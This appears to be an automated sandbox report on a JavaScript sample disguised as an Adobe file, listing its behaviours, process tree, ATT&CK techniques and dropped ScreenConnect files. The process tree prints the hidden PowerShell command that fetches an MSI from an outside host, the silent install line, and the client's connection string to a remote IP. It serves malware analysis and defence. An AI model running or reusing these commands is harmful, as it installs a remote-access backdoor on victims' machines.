Overview

overview

8

Static

static

1

Adobe.js

windows10-2004-x64

8

Adobe.js

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 14:37

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General

  • Target
    Adobe.js
  • Size 2KB
  • Sample260820-rzbcbasvet
  • SHA256 45a592bcf135e313584bb6cbc3c8335d2df35edc834e6819a9eae95cda82b527
  • MD5 SHA1 SHA512 TLSH
Score
8/10
backdoordiscoveryexecutionpersistenceprivilege_escalationratrevoked_codesign

Malware Config

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Deletes itself 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Adobe.js
    1⤵
    • Badlisted process makes network request
    • Deletes itself
    • Suspicious use of WriteProcessMemory
    PID:3788
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\TempAdobePDF.bat" "
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6084
      • C:\Windows\system32\cmd.exe
        cmd /c "C:\Users\Admin\AppData\Local\TempAdobePDF.bat" hidden
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4572
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4300
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:4768
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; try{ Invoke-WebRequest -UseBasicParsing -Uri 'https://brightwatch.mypi.co/Adobeinstaller.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\SCInstall\ScreenConnect.ClientSetup.msi' -TimeoutSec 120 }catch{ exit 1 }"
            4⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1820
          • C:\Windows\system32\msiexec.exe
            msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\SCInstall\ScreenConnect.ClientSetup.msi" /qn /norestart /l*v "C:\Users\Admin\AppData\Local\Temp\SCInstall\ScreenConnectInstall.log"
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1780
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5856
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding EC06DDF51371DF00036E8931ACEF4386
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4548
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI906A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240816828 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:5260
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C84A152A90788E2904B95E5057EC4D91 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:2364
    • C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=147.189.169.192&p=8041&s=f3447b4f-978a-4691-b5f1-f43b96cc12f1&k=BgIAAACkAABSU0ExAAgAAAEAAQAtflCrmI8YJjO93H%2fGH5MyaNrOTr8wshdNdWMp3xXj5AneV2LCRg6j485%2bJGrlqSAFn3bONPi9m0VWhMaiF66uYwuRWtOE1NZJ8L2baiF%2fwCPClyV8vB%2bJuLw5vRBNClm8WXfPf%2btLJXLudNSeNHYWlIp150%2bnIYbvOdRglKPlKbqPEnGpIgOUmhojKmWh%2ffYUoXd00yBBF3V3UJKzMpmTopeArCuXFn0N%2bytkyPJhJQ%2bgeR5yakQGw2S0vLqDzVplzNeVMYv8NewQJBnbxQKA6hsXnUflUwSnuYbGYVupaW28z%2bNwaArRPy8mIbiZO%2bARijgtG5t6EA03UzuzG9rm"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2712
      • C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.WindowsClient.exe" "RunRole" "34f205f1-0203-453f-a4e2-ab48c89c0771" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2464
      • C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.WindowsClient.exe" "RunRole" "dcaad159-a9fa-4cb2-afab-af506a6aa5b1" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2676

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          3
          T1059

          JavaScript

          1
          T1059.007

          PowerShell

          1
          T1059.001

          Windows Command Shell

          1
          T1059.003

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Defense Evasion

          Modify Registry

          1
          T1112

          Credential Access

          Discovery

          Peripheral Device Discovery

          1
          T1120

          Query Registry

          2
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5a8d9e.rbs
          • Path C:\Config.Msi\e5a8d9e.rbs
          • Size 214KB
          • SHA256 c65d5414f88e0db6f987f45df8f5e92ce2736834ff2511d7a30cf131f42546c6
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.Override.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.Override.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\Client.Override.resources
          • Size 252B
          • SHA256 8ff8361de87b080209eb3d8566a262962e8ace93f13eeba9a3f3a0e3fc5fa33e
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\Client.resources
          • Size 28KB
          • SHA256 c84db518b34eb73426b7df43bd00cf3834ea6e44422d0ae7e0af9fc0d97453f6
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\app.config
          • Size 1KB
          • SHA256 a3778aad9f23ed465db4cc5e0dc3cfd780e2e0314db001dcd469090e0eb6299e
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (34d79725ddae3d0b)\system.config
          • Size 943B
          • SHA256 db807467b3b54b12fd4838d6559ef3fa2afb23b3d8a23cd38bc39ab19bc5f329
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          TempAdobePDF.bat
          • Path C:\Users\Admin\AppData\Local\TempAdobePDF.bat
          • Size 1KB
          • SHA256 7c54debb7bbbf7e3cb39a27684b2ec786c896b9c81b7f906b2b264f4fff91028
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.ClientSetup.msi
          • Path C:\Users\Admin\AppData\Local\Temp\SCInstall\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 13ab890d906a9977868d1a62c7244be2feb88bd21f4f72dab80b86b7ebe18b97
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnectInstall.log
          • Path C:\Users\Admin\AppData\Local\Temp\SCInstall\ScreenConnectInstall.log
          • Size 1KB
          • SHA256 c575e8b85f2b92d1ae94355a47ecdfec5868ff53177244e0ad654e8591dbeaa5
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSI906A.tmp
          • Path C:\Windows\Installer\MSI906A.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Windows\Installer\MSI906A.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Windows\Installer\MSI906A.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Windows\Installer\MSI906A.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Windows\Installer\MSI906A.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI980D.tmp
          • Path C:\Windows\Installer\MSI980D.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/1820-15-0x000001DF28F90000-0x000001DF28FB2000-memory.dmp
          Download

          memory/2464-142-0x0000000002700000-0x0000000002718000-memory.dmp
          Download

          memory/2464-143-0x0000000002790000-0x00000000027A8000-memory.dmp
          Download

          memory/2464-141-0x000000001BC50000-0x000000001BDD8000-memory.dmp
          Download

          memory/2464-139-0x000000001B6D0000-0x000000001B75C000-memory.dmp
          Download

          memory/2464-140-0x000000001B910000-0x000000001BABC000-memory.dmp
          Download

          memory/2464-138-0x0000000002730000-0x0000000002766000-memory.dmp
          Download

          memory/2464-136-0x0000000000650000-0x00000000006E8000-memory.dmp
          Download

          memory/2712-121-0x00000000042B0000-0x00000000042F1000-memory.dmp
          Download

          memory/2712-123-0x0000000004540000-0x0000000004615000-memory.dmp
          Download

          memory/2712-106-0x0000000004040000-0x0000000004090000-memory.dmp
          Download

          memory/2712-119-0x0000000004350000-0x00000000043E2000-memory.dmp
          Download

          memory/2712-118-0x0000000004090000-0x00000000040C6000-memory.dmp
          Download

          memory/2712-93-0x0000000003CB0000-0x0000000003CC8000-memory.dmp
          Download

          memory/5260-45-0x0000000005610000-0x000000000561A000-memory.dmp
          Download

          memory/5260-41-0x00000000055D0000-0x00000000055FE000-memory.dmp
          Download

          memory/5260-49-0x0000000005730000-0x00000000057BC000-memory.dmp
          Download

          memory/5260-53-0x0000000005970000-0x0000000005B1C000-memory.dmp
          Download

          memory/5260-54-0x00000000060E0000-0x000000000669A000-memory.dmp
          Download